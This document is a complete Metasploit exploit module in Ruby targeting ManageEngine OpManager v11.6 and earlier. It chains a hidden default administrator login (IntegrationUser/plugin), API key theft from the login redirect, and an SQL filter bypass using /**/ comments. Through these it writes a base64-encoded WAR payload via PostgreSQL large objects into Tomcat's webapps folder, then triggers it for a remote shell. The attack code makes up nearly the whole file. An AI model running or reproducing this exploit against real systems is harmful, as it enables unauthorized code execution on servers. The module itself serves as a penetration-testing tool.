ManageEngine OpManager Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  # It removes large object in database, shoudn't be a problem, but just in case....
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine OpManager Remote Code Execution',
        'Description' => %q{
          This module exploits a default credential vulnerability in ManageEngine OpManager, where a
          default hidden account "IntegrationUser" with administrator privileges exists. The account
          has a default password of "plugin" which cannot be reset through the user interface. By
          log-in and abusing the default administrator's SQL query functionality, it's possible to
          write a WAR payload to disk and trigger an automatic deployment of this payload. This
          module has been tested successfully on OpManager v11.0 and v11.4-v11.6 for Windows.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
        ],
        'References' => [
          [ 'EDB', '38174' ],
          [ 'CVE', '2015-7765' ], # Hardcoded password
          [ 'CVE', '2015-7766' ], # SQL query bypass
          [ 'URL', 'https://seclists.org/fulldisclosure/2015/Sep/66' ],
          [ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ]
        ],
        'Platform' => ['java'],
        'Arch' => ARCH_JAVA,
        'Targets' => [
          ['ManageEngine OpManager <= v11.6', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2015-09-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def uri
    target_uri.path
  end

  def check
    # Check version
    vprint_status("Trying to detect ManageEngine OpManager")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'LoginPage.do')
    })

    unless res && res.code == 200
      return Exploit::CheckCode::Safe('Target did not respond as expected')
    end

    if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
      version = $1
      if Rex::Version.new(version) <= Rex::Version.new('11.6')
        return Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
      else
        # Patch unknown
        return Exploit::CheckCode::Detected("Target detected with version: #{version}")
      end
    elsif res.body =~ /OpManager/
      return Exploit::CheckCode::Detected('OpManager detected but version not identified')
    else
      return Exploit::CheckCode::Safe('Target does not appear to be OpManager')
    end
  end

  def sql_query(key, query)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'),
      'vars_get' => { 'apiKey' => key },
      'vars_post' => { 'query' => query }
    })

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Query was not succesful!")
    end

    res
  end

  def exploit
    print_status("Access login page")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'jsp', 'Login.do'),
      'vars_post' => {
        'domainName' => 'NULL',
        'authType' => 'localUserLogin',
        'userName' => 'IntegrationUser', # Hidden user
        'password' => 'plugin' # Password of hidden user
      }
    })

    if res && res.code == 302
      redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "")
      print_status("Location is [ #{redirect} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
    end

    # Follow redirection process
    print_status("Following redirection")
    res = send_request_cgi({
      'uri' => redirect,
      'method' => 'GET'
    })

    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
      api_key = $1
      print_status("Retrieved API key [ #{api_key} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
    end

    app_base = rand_text_alphanumeric(4 + rand(32 - 4))
    war_payload = payload.encoded_war({ :app_name => app_base }).to_s
    war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '')

    print_status("Executing SQL queries")

    # Remove large object in database, just in case it exists from previous exploit attempts
    sql = 'SELECT lo_unlink(-1)'
    sql_query(api_key, sql)

    # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
    sql = 'SELECT lo_create(-1)'
    result = sql_query(api_key, sql)
    if result.body =~ /lo_create":([0-9]+)}/
      lo_id = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
    end

    # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc.
    sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))"
    sql_query(api_key, sql)

    # Export our large object id data into a WAR file
    sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');"
    sql_query(api_key, sql)

    # Remove our large object in the database
    sql = 'SELECT lo_unlink(-1)'
    sql_query(api_key, sql)

    register_file_for_cleanup("tomcat//webapps//#{app_base}.war")
    register_file_for_cleanup("tomcat//webapps//#{app_base}")

    10.times do
      select(nil, nil, nil, 2)

      # Now make a request to trigger the newly deployed war
      print_status("Attempting to launch payload in deployed WAR...")
      res = send_request_cgi(
        {
          'uri' => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"),
          'method' => 'GET'
        }
      )
      # Failure. The request timed out or the server went away.
      break if res.nil?
      # Success! Triggered the payload, should have a shell incoming
      break if res.code == 200
    end
  end
end